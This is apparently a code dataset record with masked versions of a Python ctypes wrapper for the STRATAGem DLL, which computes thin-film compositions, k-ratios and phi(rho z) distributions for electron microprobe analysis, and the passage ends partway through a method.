:type bins: :class:`int` :return: a :class:`dict` where the keys are the experiments and the values are a tuple containing three lists: * :math:`\\rho z` coordinates (in g/cm2) * generated intensities of :math:`\\phi(\\rho z)` (no absorption) * emitted intensites of :math:`\\phi(\\rho z)` """ if len(self._layers) > 0: raise RuntimeError('PRZ can only be computed for substrate') # Set scaling hvs_eV = map(attrgetter('energy_eV'), self._experiments.keys()) maxhv_eV = max(hvs_eV) maxhv_ = c.c_double(maxhv_eV / 1e3) logger.debug('StSetScaleHV(%s)', maxhv_eV / 1e3) self._lib.StSetScaleHV(maxhv_) # Compute logger.debug('StComputePrz(key)') if not self._lib.StComputePrz(self._key): self._raise_error('Cannot compute prz') # Get values przs = {} for experiment, indexes in self._experiments.items(): # Size of each bin if maxdepth_m is None: # Calculate max depth using Kanaya-Okayama maxdepth_m = 0.0 energy_keV = experiment.energy_eV / 1e3 for z, fraction in self._substrate[0].composition.items(): dr = (0.0276 * atomic_mass_kg_mol(z) * 1e3 * energy_keV ** 1.67) / \ (z ** 0.89 * mass_density_kg_m3(z) / 1e3) maxdepth_m += fraction / (dr * 1e-6) maxdepth_m = 1.0 / maxdepth_m maxdepth_m *= 1.5 # safety factor increment_kg_m2 = (maxdepth_m * self._substrate[0].density_kg_m3) / bins # Indexes ielt_ = c.c_int(indexes[0]) iline_ = c.c_int(indexes[1]) ihv_ = c.c_int(0) rzs = [] ys_generated = [] ys_emitted = [] for i in range(bins): rz_ = c.c_double(i * increment_kg_m2 * 0.1) rzs.append(i * increment_kg_m2) y_ = c.c_double() bUseExp_ = c.c_bool(True) self._lib.StPhiRhoZ(self._key, ielt_, iline_, ihv_, rz_, bUseExp_, c.byref(y_)) ys_emitted.append(y_.value) y_ = c.c_double() bUseExp_ = c.c_bool(False) self._lib.StPhiRhoZ(self._key, ielt_, iline_, ihv_, rz_, bUseExp_, c.byref(y_)) ys_generated.append(y_.value) przs.setdefault(experiment, (rzs, ys_generated, ys_emitted)) return przs
normal
{ "blob_id": "6914656a2f78fa1fe74a67bf09b017585b3eac88", "index": 2770, "step-1": "<mask token>\n\n\nclass Stratagem:\n <mask token>\n\n def __init__(self, dll_path=None, display_error=True):\n \"\"\"\n :arg dll_path: complete path to the location of ``stratadllogger.dll``\n (optional). If ``None``, the path is found in the Windows registry\n under ``Software\\\\SAMx\\\\Stratagem\\\\Configuration``. If the DLL is not\n found a :class:`StratagemError` is raised.\n :type dll_path: :class:`str`\n \n :arg display_error: whether to display a message dialog on error\n :type display_error: :class:`bool`\n \"\"\"\n if dll_path is None:\n with winreg.OpenKey(winreg.HKEY_CURRENT_USER, _REGISTRY_KEY\n ) as key:\n basedir = winreg.QueryValueEx(key, _REGISTRY_VALUENAME)[0]\n dll_path = os.path.join(basedir, 'bin', 'stratadll.dll')\n cwd = os.getcwd()\n try:\n logger.debug('dll=%s', dll_path)\n self._lib = c.WinDLL(dll_path)\n finally:\n os.chdir(cwd)\n logger.debug('StEnableErrorDisplay(%r)', display_error)\n self._lib.StEnableErrorDisplay(c.c_bool(display_error))\n self._key = None\n self._cwd = os.getcwd()\n self._layers = {}\n self._substrate = None\n self._experiments = {}\n self._tmpstandards = []\n\n def __enter__(self):\n self.init()\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.close()\n return False\n <mask token>\n\n def _raise_error(self, alternate=''):\n \"\"\"\n Raises a :class:`StratagemError`. \n The error code and message of known errors are retrieved from STRATAGem. \n If this is not possible, *alternate* is used as the error message.\n \"\"\"\n errnum_ = c.c_ulong()\n errtype_ = c.c_int()\n self._lib.StGetLastError(c.byref(errnum_), c.byref(errtype_))\n if errnum_.value != 0:\n if errtype_.value == 0:\n buf_ = c.create_string_buffer(256)\n self._lib.StGetMsg(errnum_, buf_, 256)\n raise StratagemError(buf_.value.decode('ascii'))\n elif errtype_.value == 1:\n raise c.WinError(errtype_.value)\n else:\n raise StratagemError('Error %i' % errnum_.value)\n else:\n raise StratagemError(alternate)\n <mask token>\n\n def close(self):\n \"\"\"\n Closes the connection to the STRATAGem DLL.\n It does not have to be used if :class:`Stratagem` is used as a context\n manager.\n \"\"\"\n if self._key is not None:\n logger.debug('StObjectDelete(key)')\n self._lib.StObjectDelete(self._key)\n self._key = None\n for filepath in self._tmpstandards:\n os.remove(filepath)\n logger.debug('Remove temporary standard: %s', filepath)\n self.reset()\n <mask token>\n\n @_check_key\n def set_sample(self, sample):\n \"\"\"\n Sets the sample, which will be used in all subsequent calculations.\n Note that only one sample can be defined.\n \n :arg sample: sample definition\n :type sample: :class:`Sample`\n \"\"\"\n self.reset()\n for layer in sample.layers:\n index = self._add_layer(layer, substrate=False)\n self._layers.setdefault(layer, index)\n index = self._add_layer(sample.substrate, substrate=True)\n self._substrate = sample.substrate, index\n <mask token>\n <mask token>\n\n def _add_layer(self, layer, substrate=False, key=None):\n \"\"\"\n Internal method to add a layer from top to bottom. \n The last layer added is considered as the substrate.\n \n :arg layer: layer\n :type layer: :class:`.Layer`\n \n :return: index of the layer\n \"\"\"\n if key is None:\n key = self._key\n logger.debug('StSdAddLayer(key)')\n ilayer_ = self._lib.StSdGetNbLayers(key)\n logger.debug('StSdAddLayer(key, %i)', ilayer_)\n if not self._lib.StSdAddLayer(key, ilayer_):\n self._raise_error('Cannot add layer')\n for i, value in enumerate(layer.composition.items()):\n ielt_ = c.c_int(i)\n logger.debug('StSdAddElt(key, %i, %i)', ilayer_, i)\n if not self._lib.StSdAddElt(key, ilayer_, ielt_):\n self._raise_error('Cannot add element')\n z, wf = value\n nra_ = c.c_int(z)\n logger.debug('StSdSetNrAtom(key, %i, %i, %i)', ilayer_, i, z)\n if not self._lib.StSdSetNrAtom(key, ilayer_, ielt_, nra_):\n self._raise_error('Cannot set atomic number')\n if wf is None or wf == CONC_UNKNOWN:\n flag = _CONCENTRATION_FLAG_UNKNOWN\n elif wf == CONC_DIFF:\n flag = _CONCENTRATION_FLAG_DIFFERENCE\n else:\n flag = _CONCENTRATION_FLAG_KNOWN\n wf_ = c.c_double(wf)\n logger.debug('StSdSetConc(key, %i, %i, %f)', ilayer_, i, wf)\n if not self._lib.StSdSetConc(key, ilayer_, ielt_, wf_):\n self._raise_error('Cannot set concentration')\n logger.debug('StSdSetConcFlag(key, %i, %i, %i)', ilayer_, i, flag)\n if not self._lib.StSdSetConcFlag(key, ilayer_, ielt_, c.c_int(flag)\n ):\n self._raise_error('Cannot set concentration flag')\n if not substrate:\n thick_known = layer.is_thickness_known()\n thick_known_ = c.c_bool(thick_known)\n if layer.is_density_known():\n density = layer.density_kg_m3 / 1000.0\n else:\n density = 10.0\n density_ = c.c_double(density)\n if thick_known:\n thickness = layer.thickness_m * 10000000000.0\n mass_thickness = layer.mass_thickness_kg_m2 * 0.1\n else:\n thickness = 0.0\n mass_thickness = 0.0\n thickness_ = c.c_double(thickness)\n mass_thickness_ = c.c_double(mass_thickness)\n logger.debug('StSdSetThick(key, %i, %r, %d, %d, %d)', ilayer_,\n thick_known, mass_thickness, thickness, density)\n if not self._lib.StSdSetThick(key, ilayer_, thick_known_,\n mass_thickness_, thickness_, density_):\n self._raise_error('Cannot set thickness')\n return int(ilayer_)\n\n def _create_standard(self, standard):\n \"\"\"\n Internal method to create a new object defining the standard \n :class:`.Sample`.\n \"\"\"\n key_ = self._stobjectnew(standard=True)\n for layer in standard.layers:\n self._add_layer(layer, substrate=False, key=key_)\n self._add_layer(standard.substrate, substrate=True, key=key_)\n filename = key_.value.decode('ascii') + '.tfs'\n filepath = os.path.join(self.get_standard_directory(), filename)\n filepath_ = c.create_string_buffer(filepath.encode('ascii'))\n logger.debug('StObjectWriteFile(key, %s)', filepath)\n if not self._lib.StObjectWriteFile(key_, filepath_):\n self._raise_error('Cannot save standard')\n self._lib.StObjectDelete(key_)\n self._tmpstandards.append(filepath)\n return filepath\n\n @_check_key\n def add_experiment(self, experiment):\n \"\"\"\n Adds an experiment, i.e. measurements of k-ratio at different energies.\n \n .. hint:: Use :meth:`reset` method to remove defined experiments.\n \n :arg experiment: experiment\n :type experiment: :class:`Experiment`\n \"\"\"\n nra_ = c.c_int(experiment.z)\n klm_ = c.c_int(experiment.line)\n hv_ = c.c_double(experiment.energy_eV / 1000.0)\n ielt_ = c.c_int()\n iline_ = c.c_int()\n iexpk_ = c.c_int()\n logger.debug('StEdAddNrAtomLineHV(key, %i, %i)', experiment.z,\n experiment.line)\n if not self._lib.StEdAddNrAtomLineHV(self._key, nra_, klm_, hv_, c.\n byref(ielt_), c.byref(iline_), c.byref(iexpk_)):\n self._raise_error('Cannot add atomic number and line')\n standard = experiment.standard\n if isinstance(standard, Sample):\n standard = self._create_standard(standard)\n standard_ = c.create_string_buffer(standard.encode('ascii'))\n logger.debug('StEdSetLine(key, %i, %i, %i, %s)', ielt_.value,\n iline_.value, klm_.value, standard)\n if not self._lib.StEdSetLine(self._key, ielt_, iline_, klm_, standard_\n ):\n self._raise_error('Cannot set standard')\n analyzed = experiment.is_analyzed()\n analyzed_ = c.c_bool(analyzed)\n logger.debug('StEdSetAnalyzedFlag(key, %i, %r)', ielt_.value, analyzed)\n if not self._lib.StEdSetAnalyzedFlag(self._key, ielt_, analyzed_):\n self._raise_error('Cannot add experiment analyzed flag')\n kratio_ = c.c_double(experiment.kratio)\n logger.debug('StEdSetExpK(key, %i, %i, %i, %f, %f, %f, 0.0, 2)',\n ielt_.value, iline_.value, iexpk_.value, experiment.energy_eV /\n 1000.0, experiment.energy_eV / 1000.0, experiment.kratio)\n if not self._lib.StEdSetExpK(self._key, ielt_, iline_, iexpk_, hv_,\n hv_, kratio_, c.c_double(0.0), c.c_int(2)):\n self._raise_error('Cannot set experiment k-ratio')\n if experiment.is_analyzed():\n indexes = ielt_.value, iline_.value, iexpk_.value\n self._experiments.setdefault(experiment, indexes)\n\n @_check_key\n def add_experiments(self, *exps):\n \"\"\"\n Adds several experiments::\n \n >>> strata.add_experiments(exp1, exp2, exp3)\n \"\"\"\n for exp in exps:\n self.add_experiment(exp)\n\n def get_experiments(self):\n \"\"\"\n Returns a :class:`tuple` of all defined experiments.\n \n :rtype: :class:`tuple`\n \"\"\"\n return tuple(self._experiments.keys())\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n @_check_key\n def get_prz_mode(self):\n \"\"\"\n Returns the type of model to use for the :math:`\\\\phi(\\\\rho z)`.\n \n :return: either :data:`PRZMODE_XPP`, :data:`PRZMODE_PAP` or \n :data:`PRZMODE_GAU`\n :rtype: :class:`int`\n \"\"\"\n return self._lib.StGetPrzMode()\n <mask token>\n <mask token>\n\n @_check_key\n def get_fluorescence(self):\n \"\"\"\n Returns the fluorescence flag.\n \n :return: either :data:`FLUORESCENCE_NONE`, :data:`FLUORESCENCE_LINE`\n or :data:`FLUORESCENCE_LINE_CONT`\n :rtype: :class:`int`\n \"\"\"\n return self._lib.StGetFluorFlg()\n <mask token>\n\n @_check_key\n def set_standard_directory(self, dirpath):\n \"\"\"\n Sets the directory where standard files are stored.\n \n :arg dirpath: path to directory\n :type dirpath: :class:`str`\n \"\"\"\n dirpath_ = c.create_string_buffer(dirpath.encode('ascii'))\n self._lib.StSetDirectory(c.c_int(1), dirpath_)\n\n @_check_key\n def get_standard_directory(self):\n \"\"\"\n Returns the directory where standard files are stored.\n \n :rtype: :class:`str`\n \"\"\"\n dirpath = (c.c_char * 256)()\n self._lib.StGetDirectory(c.c_int(1), c.byref(dirpath), 256)\n return dirpath.value.decode('ascii')\n <mask token>\n\n @_check_key\n def compute_kratio_vs_thickness(self, layer, thickness_low_m,\n thickness_high_m, step):\n \"\"\"\n Computes the variation of the k-ratio as a function of the thickness \n for a layer.\n \n :arg layer: layer of a sample (must have been previously added)\n :type layer: :class:`.Layer`\n \n :arg thickness_low_m: lower limit of the thickness in meters\n :type thickness_low_m: :class:`float`\n \n :arg thickness_high_m: upper limit of the thickness in meters\n :type thickness_high_m: :class:`float`\n \n :arg step: number of steps\n :type step: :class:`int`\n \n :return: :class:`tuple` containing\n \n * :class:`list` of thicknesses\n * :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are :class:`list` \n containing k-ratios for each thickness\n \"\"\"\n logger.debug('StSetKvsThicknessUnit(2)')\n self._lib.StSetKvsThicknessUnit(2)\n if layer not in self._layers:\n raise ValueError('Unknown layer')\n ilayer = self._layers[layer]\n ilayer_ = c.c_int(ilayer)\n step_ = c.c_int(step)\n logger.debug('StSetNbComputedHV(%i)', step)\n self._lib.StSetNbComputedHV(step_)\n low_ = c.c_double(thickness_low_m * 1000000000.0)\n high_ = c.c_double(thickness_high_m * 1000000000.0)\n logger.debug('StComputeKvsThickness(key, %i, %f, %f)', ilayer, \n thickness_low_m * 1000000000.0, thickness_high_m * 1000000000.0)\n if not self._lib.StComputeKvsThickness(self._key, ilayer_, low_, high_\n ):\n self._raise_error('Cannot compute k-ratio vs thickness')\n thicknesses = []\n kratios = {}\n thick_ = c.c_double()\n k_ = c.c_double()\n for i in range(step + 1):\n i_ = c.c_int(i)\n if not self._lib.StGetKvsT_Thick(self._key, i_, c.byref(thick_)):\n self._raise_error('Cannot get thickness')\n thicknesses.append(thick_.value)\n for experiment, indexes in self._experiments.items():\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n iHv_ = c.c_int(indexes[2])\n if not self._lib.StGetKvsT_K(self._key, i_, ielt_, iline_,\n iHv_, c.byref(k_)):\n self._raise_error('Cannot get k-ratio')\n kratios.setdefault(experiment, []).append(k_.value)\n return thicknesses, kratios\n <mask token>\n\n @_check_key\n def compute_kratios(self):\n \"\"\"\n Computes the k-ratios of the different experiments.\n \n :return: :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are k-ratios \n (:class:`float`).\n \"\"\"\n if len(self._layers) == 0:\n return self._compute_kratios_substrate()\n else:\n return self._compute_kratios_multilayers()\n\n @_check_key\n def _compute_kratios_multilayers(self):\n \"\"\"\n Internal method to compute the k-ratios using the \n :meth:`compute_kratio_vs_thickness`.\n \"\"\"\n for i, layer in enumerate(self._layers.keys()):\n if not layer.is_thickness_known():\n raise ValueError('Thickness of layer %i is unknown' % i)\n layer = list(self._layers.keys())[0]\n thickness_low_m = layer.thickness_m\n thickness_high_m = layer.thickness_m * 10\n step = 1\n _thicknesses, kratios = self.compute_kratio_vs_thickness(layer,\n thickness_low_m, thickness_high_m, step)\n output = {}\n for experiment, kratio in kratios.items():\n output.setdefault(experiment, kratio[0])\n return output\n <mask token>\n\n @_check_key\n def compute(self, iteration_max=50):\n \"\"\"\n Computes the unknown composition(s) and thickness(es) in the specified\n sample.\n \n :arg iteration_max: maximum number of iterations of the solve\n (default: 50)\n :type iteration_max: :class:`int`\n \n :return: calculated sample\n :rtype: :class:`.Sample`\n \"\"\"\n zs = set(exp.z for exp in self._experiments.keys())\n for layer in (list(self._layers.keys()) + [self._substrate[0]]):\n for z, wf in layer.composition.items():\n if z in zs:\n continue\n if wf is None:\n continue\n logger.debug('Added dummy experiment for z=%i', z)\n exp = Experiment(z, LINE_KA, 0.0, analyzed=False)\n self.add_experiment(exp)\n iteration_max_ = c.c_int(iteration_max)\n logger.debug('StSetMaxNbIter(%i)', iteration_max)\n self._lib.StSetMaxNbIter(iteration_max_)\n logger.debug('StComputeIterpStart(key)')\n if not self._lib.StComputeIterpStart(self._key):\n self._raise_error('Cannot start iteration')\n continue_ = c.c_bool(True)\n iteration = 0\n logger.debug('Start iteration')\n while True:\n iteration += 1\n logger.debug('Iteration #%i' % iteration)\n logger.debug('StComputeIterpNext(key, %r)' % continue_.value)\n if not self._lib.StComputeIterpNext(self._key, c.byref(continue_)):\n break\n if not continue_.value:\n break\n logger.debug('Iteration completed')\n thick_known = c.c_bool()\n mass_thickness = c.c_double()\n thickness = c.c_double()\n density = c.c_double()\n\n def get_layer(layer, ilayer):\n ilayer_ = c.c_int(ilayer)\n logger.debug('StSdGetNbElts(key, %i)' % ilayer)\n nbelt = self._lib.StSdGetNbElts(self._key, ilayer_)\n if nbelt == -1:\n self._raise_error('Cannot get number of elements')\n flag_ = (c.c_int * nbelt)()\n wfs_ = (c.c_double * nbelt)()\n logger.debug('StSdGetLayRawConcs(key, %i, flag, wfs)' % ilayer)\n if not self._lib.StSdGetLayRawConcs(self._key, ilayer_, flag_, wfs_\n ):\n self._raise_error('Cannot get layer concentration')\n composition = {}\n for z in layer.composition.keys():\n nra_ = c.c_int(z)\n logger.debug('StSdGetEltIdx(key, %i, %i)' % (ilayer, z))\n zindex = self._lib.StSdGetEltIdx(self._key, ilayer_, nra_)\n composition[z] = wfs_[zindex]\n logger.debug('StSdGetThick(key, %i)', ilayer)\n if not self._lib.StSdGetThick(self._key, ilayer_, c.byref(\n thick_known), c.byref(mass_thickness), c.byref(thickness),\n c.byref(density)):\n self._raise_error('Cannot get thickness')\n return (composition, thickness.value / 10000000000.0, \n mass_thickness.value * 10.0, density.value * 1000.0)\n sample = Sample(get_layer(*self._substrate)[0])\n for layer, ilayer in self._layers.items():\n sample.add_layer(*get_layer(layer, ilayer))\n return sample\n\n @_check_key\n def compute_prz(self, maxdepth_m=None, bins=100):\n \"\"\"\n Compute :math:`\\\\phi(\\\\rho z)` of all experiments.\n \n .. warning:: Only available for substrate (no layers).\n \n :arg maxdepth_m: maximum depth of the :math:`\\\\phi(\\\\rho z)` \n distribution in meters. If ``None``, Kanaya-Okayama electron range\n is used with a safety factor of 1.5.\n :type maxdepth_m: :class:`float`\n \n :arg bins: number of bins in the :math:`\\\\phi(\\\\rho z)` distribution\n :type bins: :class:`int`\n \n :return: a :class:`dict` where the keys are the experiments and the \n values are a tuple containing three lists:\n \n * :math:`\\\\rho z` coordinates (in g/cm2)\n * generated intensities of :math:`\\\\phi(\\\\rho z)` (no absorption)\n * emitted intensites of :math:`\\\\phi(\\\\rho z)`\n \"\"\"\n if len(self._layers) > 0:\n raise RuntimeError('PRZ can only be computed for substrate')\n hvs_eV = map(attrgetter('energy_eV'), self._experiments.keys())\n maxhv_eV = max(hvs_eV)\n maxhv_ = c.c_double(maxhv_eV / 1000.0)\n logger.debug('StSetScaleHV(%s)', maxhv_eV / 1000.0)\n self._lib.StSetScaleHV(maxhv_)\n logger.debug('StComputePrz(key)')\n if not self._lib.StComputePrz(self._key):\n self._raise_error('Cannot compute prz')\n przs = {}\n for experiment, indexes in self._experiments.items():\n if maxdepth_m is None:\n maxdepth_m = 0.0\n energy_keV = experiment.energy_eV / 1000.0\n for z, fraction in self._substrate[0].composition.items():\n dr = 0.0276 * atomic_mass_kg_mol(z\n ) * 1000.0 * energy_keV ** 1.67 / (z ** 0.89 *\n mass_density_kg_m3(z) / 1000.0)\n maxdepth_m += fraction / (dr * 1e-06)\n maxdepth_m = 1.0 / maxdepth_m\n maxdepth_m *= 1.5\n increment_kg_m2 = maxdepth_m * self._substrate[0\n ].density_kg_m3 / bins\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n ihv_ = c.c_int(0)\n rzs = []\n ys_generated = []\n ys_emitted = []\n for i in range(bins):\n rz_ = c.c_double(i * increment_kg_m2 * 0.1)\n rzs.append(i * increment_kg_m2)\n y_ = c.c_double()\n bUseExp_ = c.c_bool(True)\n self._lib.StPhiRhoZ(self._key, ielt_, iline_, ihv_, rz_,\n bUseExp_, c.byref(y_))\n ys_emitted.append(y_.value)\n y_ = c.c_double()\n bUseExp_ = c.c_bool(False)\n self._lib.StPhiRhoZ(self._key, ielt_, iline_, ihv_, rz_,\n bUseExp_, c.byref(y_))\n ys_generated.append(y_.value)\n przs.setdefault(experiment, (rzs, ys_generated, ys_emitted))\n return przs\n", "step-2": "<mask token>\n\n\nclass Stratagem:\n <mask token>\n\n def __init__(self, dll_path=None, display_error=True):\n \"\"\"\n :arg dll_path: complete path to the location of ``stratadllogger.dll``\n (optional). If ``None``, the path is found in the Windows registry\n under ``Software\\\\SAMx\\\\Stratagem\\\\Configuration``. If the DLL is not\n found a :class:`StratagemError` is raised.\n :type dll_path: :class:`str`\n \n :arg display_error: whether to display a message dialog on error\n :type display_error: :class:`bool`\n \"\"\"\n if dll_path is None:\n with winreg.OpenKey(winreg.HKEY_CURRENT_USER, _REGISTRY_KEY\n ) as key:\n basedir = winreg.QueryValueEx(key, _REGISTRY_VALUENAME)[0]\n dll_path = os.path.join(basedir, 'bin', 'stratadll.dll')\n cwd = os.getcwd()\n try:\n logger.debug('dll=%s', dll_path)\n self._lib = c.WinDLL(dll_path)\n finally:\n os.chdir(cwd)\n logger.debug('StEnableErrorDisplay(%r)', display_error)\n self._lib.StEnableErrorDisplay(c.c_bool(display_error))\n self._key = None\n self._cwd = os.getcwd()\n self._layers = {}\n self._substrate = None\n self._experiments = {}\n self._tmpstandards = []\n\n def __enter__(self):\n self.init()\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.close()\n return False\n <mask token>\n\n def _raise_error(self, alternate=''):\n \"\"\"\n Raises a :class:`StratagemError`. \n The error code and message of known errors are retrieved from STRATAGem. \n If this is not possible, *alternate* is used as the error message.\n \"\"\"\n errnum_ = c.c_ulong()\n errtype_ = c.c_int()\n self._lib.StGetLastError(c.byref(errnum_), c.byref(errtype_))\n if errnum_.value != 0:\n if errtype_.value == 0:\n buf_ = c.create_string_buffer(256)\n self._lib.StGetMsg(errnum_, buf_, 256)\n raise StratagemError(buf_.value.decode('ascii'))\n elif errtype_.value == 1:\n raise c.WinError(errtype_.value)\n else:\n raise StratagemError('Error %i' % errnum_.value)\n else:\n raise StratagemError(alternate)\n\n def init(self):\n \"\"\"\n Initializes and setups STRATAGem.\n It does not have to be used if :class:`Stratagem` is used as a context\n manager.\n \"\"\"\n if self._key is not None:\n raise RuntimeError('Already initialized. Call close() first.')\n self._key = self._stobjectnew()\n self._cwd = os.getcwd()\n self.reset()\n\n def close(self):\n \"\"\"\n Closes the connection to the STRATAGem DLL.\n It does not have to be used if :class:`Stratagem` is used as a context\n manager.\n \"\"\"\n if self._key is not None:\n logger.debug('StObjectDelete(key)')\n self._lib.StObjectDelete(self._key)\n self._key = None\n for filepath in self._tmpstandards:\n os.remove(filepath)\n logger.debug('Remove temporary standard: %s', filepath)\n self.reset()\n <mask token>\n\n @_check_key\n def set_sample(self, sample):\n \"\"\"\n Sets the sample, which will be used in all subsequent calculations.\n Note that only one sample can be defined.\n \n :arg sample: sample definition\n :type sample: :class:`Sample`\n \"\"\"\n self.reset()\n for layer in sample.layers:\n index = self._add_layer(layer, substrate=False)\n self._layers.setdefault(layer, index)\n index = self._add_layer(sample.substrate, substrate=True)\n self._substrate = sample.substrate, index\n <mask token>\n <mask token>\n\n def _add_layer(self, layer, substrate=False, key=None):\n \"\"\"\n Internal method to add a layer from top to bottom. \n The last layer added is considered as the substrate.\n \n :arg layer: layer\n :type layer: :class:`.Layer`\n \n :return: index of the layer\n \"\"\"\n if key is None:\n key = self._key\n logger.debug('StSdAddLayer(key)')\n ilayer_ = self._lib.StSdGetNbLayers(key)\n logger.debug('StSdAddLayer(key, %i)', ilayer_)\n if not self._lib.StSdAddLayer(key, ilayer_):\n self._raise_error('Cannot add layer')\n for i, value in enumerate(layer.composition.items()):\n ielt_ = c.c_int(i)\n logger.debug('StSdAddElt(key, %i, %i)', ilayer_, i)\n if not self._lib.StSdAddElt(key, ilayer_, ielt_):\n self._raise_error('Cannot add element')\n z, wf = value\n nra_ = c.c_int(z)\n logger.debug('StSdSetNrAtom(key, %i, %i, %i)', ilayer_, i, z)\n if not self._lib.StSdSetNrAtom(key, ilayer_, ielt_, nra_):\n self._raise_error('Cannot set atomic number')\n if wf is None or wf == CONC_UNKNOWN:\n flag = _CONCENTRATION_FLAG_UNKNOWN\n elif wf == CONC_DIFF:\n flag = _CONCENTRATION_FLAG_DIFFERENCE\n else:\n flag = _CONCENTRATION_FLAG_KNOWN\n wf_ = c.c_double(wf)\n logger.debug('StSdSetConc(key, %i, %i, %f)', ilayer_, i, wf)\n if not self._lib.StSdSetConc(key, ilayer_, ielt_, wf_):\n self._raise_error('Cannot set concentration')\n logger.debug('StSdSetConcFlag(key, %i, %i, %i)', ilayer_, i, flag)\n if not self._lib.StSdSetConcFlag(key, ilayer_, ielt_, c.c_int(flag)\n ):\n self._raise_error('Cannot set concentration flag')\n if not substrate:\n thick_known = layer.is_thickness_known()\n thick_known_ = c.c_bool(thick_known)\n if layer.is_density_known():\n density = layer.density_kg_m3 / 1000.0\n else:\n density = 10.0\n density_ = c.c_double(density)\n if thick_known:\n thickness = layer.thickness_m * 10000000000.0\n mass_thickness = layer.mass_thickness_kg_m2 * 0.1\n else:\n thickness = 0.0\n mass_thickness = 0.0\n thickness_ = c.c_double(thickness)\n mass_thickness_ = c.c_double(mass_thickness)\n logger.debug('StSdSetThick(key, %i, %r, %d, %d, %d)', ilayer_,\n thick_known, mass_thickness, thickness, density)\n if not self._lib.StSdSetThick(key, ilayer_, thick_known_,\n mass_thickness_, thickness_, density_):\n self._raise_error('Cannot set thickness')\n return int(ilayer_)\n\n def _create_standard(self, standard):\n \"\"\"\n Internal method to create a new object defining the standard \n :class:`.Sample`.\n \"\"\"\n key_ = self._stobjectnew(standard=True)\n for layer in standard.layers:\n self._add_layer(layer, substrate=False, key=key_)\n self._add_layer(standard.substrate, substrate=True, key=key_)\n filename = key_.value.decode('ascii') + '.tfs'\n filepath = os.path.join(self.get_standard_directory(), filename)\n filepath_ = c.create_string_buffer(filepath.encode('ascii'))\n logger.debug('StObjectWriteFile(key, %s)', filepath)\n if not self._lib.StObjectWriteFile(key_, filepath_):\n self._raise_error('Cannot save standard')\n self._lib.StObjectDelete(key_)\n self._tmpstandards.append(filepath)\n return filepath\n\n @_check_key\n def add_experiment(self, experiment):\n \"\"\"\n Adds an experiment, i.e. measurements of k-ratio at different energies.\n \n .. hint:: Use :meth:`reset` method to remove defined experiments.\n \n :arg experiment: experiment\n :type experiment: :class:`Experiment`\n \"\"\"\n nra_ = c.c_int(experiment.z)\n klm_ = c.c_int(experiment.line)\n hv_ = c.c_double(experiment.energy_eV / 1000.0)\n ielt_ = c.c_int()\n iline_ = c.c_int()\n iexpk_ = c.c_int()\n logger.debug('StEdAddNrAtomLineHV(key, %i, %i)', experiment.z,\n experiment.line)\n if not self._lib.StEdAddNrAtomLineHV(self._key, nra_, klm_, hv_, c.\n byref(ielt_), c.byref(iline_), c.byref(iexpk_)):\n self._raise_error('Cannot add atomic number and line')\n standard = experiment.standard\n if isinstance(standard, Sample):\n standard = self._create_standard(standard)\n standard_ = c.create_string_buffer(standard.encode('ascii'))\n logger.debug('StEdSetLine(key, %i, %i, %i, %s)', ielt_.value,\n iline_.value, klm_.value, standard)\n if not self._lib.StEdSetLine(self._key, ielt_, iline_, klm_, standard_\n ):\n self._raise_error('Cannot set standard')\n analyzed = experiment.is_analyzed()\n analyzed_ = c.c_bool(analyzed)\n logger.debug('StEdSetAnalyzedFlag(key, %i, %r)', ielt_.value, analyzed)\n if not self._lib.StEdSetAnalyzedFlag(self._key, ielt_, analyzed_):\n self._raise_error('Cannot add experiment analyzed flag')\n kratio_ = c.c_double(experiment.kratio)\n logger.debug('StEdSetExpK(key, %i, %i, %i, %f, %f, %f, 0.0, 2)',\n ielt_.value, iline_.value, iexpk_.value, experiment.energy_eV /\n 1000.0, experiment.energy_eV / 1000.0, experiment.kratio)\n if not self._lib.StEdSetExpK(self._key, ielt_, iline_, iexpk_, hv_,\n hv_, kratio_, c.c_double(0.0), c.c_int(2)):\n self._raise_error('Cannot set experiment k-ratio')\n if experiment.is_analyzed():\n indexes = ielt_.value, iline_.value, iexpk_.value\n self._experiments.setdefault(experiment, indexes)\n\n @_check_key\n def add_experiments(self, *exps):\n \"\"\"\n Adds several experiments::\n \n >>> strata.add_experiments(exp1, exp2, exp3)\n \"\"\"\n for exp in exps:\n self.add_experiment(exp)\n\n def get_experiments(self):\n \"\"\"\n Returns a :class:`tuple` of all defined experiments.\n \n :rtype: :class:`tuple`\n \"\"\"\n return tuple(self._experiments.keys())\n <mask token>\n\n @_check_key\n def get_geometry(self):\n \"\"\"\n Returns the geometry.\n \n :return: take off angle (in radians), tilt angle (in radians),\n azimuthal angle (in radians)\n \"\"\"\n toa_ = c.c_double()\n tilt_ = c.c_double()\n azimuth_ = c.c_double()\n logger.debug('StGetGeomParams(key)')\n if not self._lib.StGetGeomParams(self._key, c.byref(toa_), c.byref(\n tilt_), c.byref(azimuth_)):\n self._raise_error('Cannot get geometry parameters')\n return toa_.value, tilt_.value, azimuth_.value\n <mask token>\n <mask token>\n\n @_check_key\n def get_prz_mode(self):\n \"\"\"\n Returns the type of model to use for the :math:`\\\\phi(\\\\rho z)`.\n \n :return: either :data:`PRZMODE_XPP`, :data:`PRZMODE_PAP` or \n :data:`PRZMODE_GAU`\n :rtype: :class:`int`\n \"\"\"\n return self._lib.StGetPrzMode()\n <mask token>\n <mask token>\n\n @_check_key\n def get_fluorescence(self):\n \"\"\"\n Returns the fluorescence flag.\n \n :return: either :data:`FLUORESCENCE_NONE`, :data:`FLUORESCENCE_LINE`\n or :data:`FLUORESCENCE_LINE_CONT`\n :rtype: :class:`int`\n \"\"\"\n return self._lib.StGetFluorFlg()\n <mask token>\n\n @_check_key\n def set_standard_directory(self, dirpath):\n \"\"\"\n Sets the directory where standard files are stored.\n \n :arg dirpath: path to directory\n :type dirpath: :class:`str`\n \"\"\"\n dirpath_ = c.create_string_buffer(dirpath.encode('ascii'))\n self._lib.StSetDirectory(c.c_int(1), dirpath_)\n\n @_check_key\n def get_standard_directory(self):\n \"\"\"\n Returns the directory where standard files are stored.\n \n :rtype: :class:`str`\n \"\"\"\n dirpath = (c.c_char * 256)()\n self._lib.StGetDirectory(c.c_int(1), c.byref(dirpath), 256)\n return 